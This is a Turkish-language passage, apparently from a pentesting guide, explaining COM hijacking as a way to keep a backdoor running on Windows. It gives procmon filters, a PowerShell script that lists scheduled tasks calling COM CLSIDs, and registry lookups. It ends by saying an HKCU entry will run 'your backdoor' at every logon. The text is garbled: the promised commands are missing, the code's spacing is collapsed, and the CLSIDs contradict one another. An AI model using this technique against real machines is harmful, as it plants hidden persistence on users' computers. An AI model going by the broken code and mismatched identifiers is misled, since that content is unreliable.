HKCU'nun değerleri kullanıcılar tarafından değiştirilebildiğinden, COM Hijackingkalıcı mekanizmalar olarak kullanılabilir. procmon kullanarak, bir saldırganın kalıcı hale getirmek için oluşturabileceği mevcut olmayan COM kayıtlarını bulmak kolaydır. Filtreler:
RegOpenKey işlemleri.
SonuçNAME NOT FOUND olduğunda.
ve YolInprocServer32 ile bitiyorsa.
Hangi mevcut olmayan COM'u taklit etmeye karar verdikten sonra, aşağıdaki komutları çalıştırın. Her birkaç saniyede bir yüklenen bir COM'u taklit etmeye karar verirseniz dikkatli olun, çünkü bu aşırıya kaçabilir.
Ele Geçirilebilir Görev Zamanlayıcı COM bileşenleri
Windows Görevleri, COM nesnelerini çağırmak için Özel Tetikleyiciler kullanır ve Görev Zamanlayıcı aracılığıyla çalıştırıldıkları için, ne zaman tetikleneceklerini tahmin etmek daha kolaydır.
# COM CLSID'lerini Göster$Tasks =Get-ScheduledTaskforeach ($Task in $Tasks){if ($Task.Actions.ClassId -ne$null){if ($Task.Triggers.Enabled -eq$true){$usersSid ="S-1-5-32-545"$usersGroup =Get-LocalGroup|Where-Object { $_.SID-eq $usersSid }if ($Task.Principal.GroupId -eq $usersGroup){Write-Host"Görev Adı: " $Task.TaskNameWrite-Host"Görev Yolu: " $Task.TaskPathWrite-Host"CLSID: " $Task.Actions.ClassIdWrite-Host}}}}# Örnek Çıktı:# Görev Adı: Örnek# Görev Yolu: \Microsoft\Windows\Örnek\# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}# [öncekine benzer daha fazla...]
Çıktıyı kontrol ederek, örneğin her kullanıcı oturum açtığında çalıştırılacak birini seçebilirsiniz.
Şimdi HKEY_CLASSES_ROOT\CLSID ve HKLM ile HKCU'da {1936ED8A-BD93-3213-E325-F38D112938EF} CLSID'sini aradığınızda, genellikle değerin HKCU'da mevcut olmadığını bulursunuz.
# Exists in HKCR\CLSID\Get-ChildItem-Path"Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"NameProperty------------InprocServer32 (default) : C:\Windows\system32\some.dllThreadingModel:Both# Exists in HKLMGet-Item-Path"HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"|ft-AutoSizeNameProperty------------{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler# Doesn't exist in HKCUPSC:\> Get-Item-Path"HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Sonra, HKCU girişini oluşturabilirsiniz ve kullanıcı her giriş yaptığında, arka kapınız çalıştırılacaktır.